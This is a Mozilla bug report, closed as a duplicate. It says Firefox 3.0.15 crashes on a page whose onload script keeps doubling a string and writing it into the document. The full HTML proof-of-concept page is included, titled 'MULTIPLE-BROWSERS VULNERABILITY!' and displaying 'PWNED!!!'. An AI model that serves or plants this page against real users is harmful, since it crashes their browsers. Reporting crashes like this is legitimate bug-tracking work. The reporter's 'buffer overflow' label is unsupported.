Closed Bug 545998 Opened 15 years ago Closed 15 years ago

Firefox version 3.0.15 Remote Denial of Service, browser crashes when a html page/script runs

Categories

(Firefox :: General, defect)

3.0 Branch
x86
Linux
defect
Not set
critical

Tracking

()

RESOLVED DUPLICATE of bug 545989

People

(Reporter: r45c4l, Unassigned)

Details

(Keywords: crash)

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 Firefox version 3.0.15 get crash when a html page is loaded or opened in it. The script is same which i submitted for the Firefox version 3.6 on Windows platform. The script is : <html><title>MULTIPLE-BROWSERS VULNERABILITY!</title> <script> function junk() { var buff="A"; for (i=0;i<150;i++) { buff+=buff+"A"; document.write(buff+buff); } } </script> <body onload="javascript:junk();"> <FONT COLOR=red SIZE=6><b>PWNED!!!</b></FONT> </body> </html> This is a buffer overflow problem which results in crash. Reproducible: Always
Keywords: crash
Version: unspecified → 3.0 Branch
There is no need to file a bug for different firefox versions/OS BTW: most browser crashes are caused by remote content, nothing special in this case
Status: UNCONFIRMED → RESOLVED
Closed: 15 years ago
Resolution: --- → DUPLICATE
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